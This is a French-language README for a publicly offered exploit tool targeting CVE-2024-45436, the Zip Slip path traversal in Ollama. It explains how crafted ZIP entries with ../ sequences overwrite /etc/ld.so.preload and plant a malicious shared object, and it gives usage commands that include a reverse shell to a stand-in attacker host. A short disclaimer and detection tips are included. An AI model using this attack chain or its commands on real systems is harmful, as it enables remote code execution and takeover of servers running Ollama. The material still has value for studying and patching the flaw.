
exploit script for CVE-2024-45436
Une implémentation propre et efficace de l'exploit pour la vulnérabilité de traversée de ZIP d'Ollama (CVE-2024-45436). 中文文档:README_CN.md
CVE-2024-45436 est une vulnérabilité de traversée de chemin (également connue sous le nom de « Zip Slip ») dans Ollama versions antérieures à 0.1.47. Cette vulnérabilité permet aux attaquants d'écrire des fichiers à des emplacements arbitraires du système de fichiers en exploitant une validation incorrecte des chemins lors des opérations d'extraction de fichiers ZIP.
Le défaut se trouve dans la fonction extractFromZipFile du fichier model.go d'Ollama, qui extrait les fichiers de modèle. Lorsqu'un fichier ZIP contient des entrées avec des chemins incluant des séquences de traversée de répertoire (../), Ollama extrait ces fichiers en dehors du répertoire prévu, permettant potentiellement à un attaquant de remplacer des fichiers système critiques.
Cet exploit tire parti de la vulnérabilité en suivant l'approche suivante :
hook.so) contenant du code d'exécution de commande arbitraire../../../../../../../../../../etc/ld.so.preload - Utilisé pour précharger des objets partagés personnalisés../../../../../../../../../../tmp/hook.so - L'objet partagé malveillant lui-mêmeLorsqu'il est exécuté avec succès, la charge utile s'exécute avec les mêmes permissions que le service Ollama, permettant potentiellement une exécution de code à distance en tant que root.
python exp.py <target_url> <command>
target_url : L'URL de l'instance Ollama vulnérable (par exemple http://example.com:11434)command : La commande à exécuter sur le système cible--no-cleanup : Ne pas supprimer les fichiers temporaires après l'exploitation (utile pour le débogage)Utilisation de base :
python exp.py http://target-server:11434 "id > /tmp/pwned"
Shell inversé :
python exp.py http://target-server:11434 "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"
Cet outil est fourni uniquement à des fins éducatives et de test de sécurité autorisé. Toute utilisation non autorisée contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel.
Les organisations peuvent détecter si elles sont vulnérables en :
/api/version/etc/ld.so.preload ou /tmp/hook.soLa vulnérabilité exploite une validation de chemin incorrecte dans le processus d'extraction de fichiers ZIP d'Ollama. Lorsqu'un modèle est chargé via l'API, l'application extrait les fichiers d'une archive ZIP sans nettoyer correctement les chemins de fichiers, permettant des attaques de traversée de répertoire.
Le fichier ld.so.preload est utilisé sous Linux pour spécifier les bibliothèques partagées qui doivent être chargées avant toutes les autres. En écrivant dans ce fichier, l'attaquant peut s'assurer que sa bibliothèque malveillante est chargée par tout nouveau processus, détournant ainsi l'exécution du programme.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.